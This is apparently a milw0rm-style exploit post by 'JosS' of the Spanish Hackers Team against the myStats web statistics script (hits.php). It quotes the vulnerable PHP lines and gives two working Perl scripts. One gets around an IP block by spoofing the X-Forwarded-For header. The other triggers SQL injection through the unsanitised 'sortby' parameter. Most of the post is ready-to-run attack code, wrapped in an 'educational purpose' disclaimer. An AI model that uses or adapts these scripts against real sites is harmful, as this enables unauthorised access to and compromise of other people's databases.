# myStats (hits.php) Multiple Remote Vulnerabilities Exploit # url: http://mywebland.com/ # # Author: JosS # mail: sys-project[at]hotmail[dot]com # site: http://spanish-hackers.com # team: Spanish Hackers Team - [SHT] # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. # # Greetz To: All Hackers and milw0rm website --------------------- Break System Block IP --------------------- <<hits.php>> 7: if (@getenv("HTTP_X_FORWARDED_FOR")) { $u_ip = @getenv("HTTP_X_FORWARDED_FOR"); } else { $u_ip = @getenv("REMOTE_ADDR"); } if ($u_ip == BLOCK_IP) { return 1; 13: exit; } <<config.php>> 11: define("BLOCK_IP", "127.0.0.1"); <<exploit.pl>> use HTTP::Request; use LWP::UserAgent; my $web="http://localhost/hits.php"; my $ua=LWP::UserAgent->new(); $ua->default_header('X-Forwarded-For' => "127.1.1.1"); my $respuesta=HTTP::Request->new(GET=>$web); $ua->timeout(30); my $response=$ua->request($respuesta); $contenido=$response->content; if ($response->is_success) { open(FILE,">>results.txt"); print FILE "$contenido\n"; close(FILE); print "\n[+] Exploit Succesful!\n\n"; } else { print "\n[-] Exploit Failed!\n\n"; } <<proof of concept>> $ua->default_header('X-Forwarded-For' => "127.1.1.1"); --> BREAK BLOCK_IP ------------- SQL Injection ------------- <<hits.php>> 63: if (isset($_GET['sortby'])) {$sortby = $_GET['sortby'];} else { $sortby = 'timestamp' ;} $sql = "SELECT * FROM " . LOG_TBL . " ORDER BY " . $sortby." DESC LIMIT 0, ". DISPLAY_LOG_NO ; 69: $querylog = mysql_query($sql) or die("Line 117 Cannot query the database.<br>" . mysql_error()); <<exploit.pl>> use HTTP::Request; use LWP::UserAgent; my $web="http://localhost/hits.php?sortby=1'"; my $ua=LWP::UserAgent->new(); my $respuesta=HTTP::Request->new(GET=>$web); $ua->timeout(30); my $response=$ua->request($respuesta); $contenido=$response->content; if ($response->is_success) { if($contenido =~ /You have an error in your SQL syntax;/) { print "\n[+] Exploit Succesful!\n"; print "\n[+] Content:\n"; print "$contenido\n\n"; } } else { print "\n[-] Exploit Failed!\n\n"; }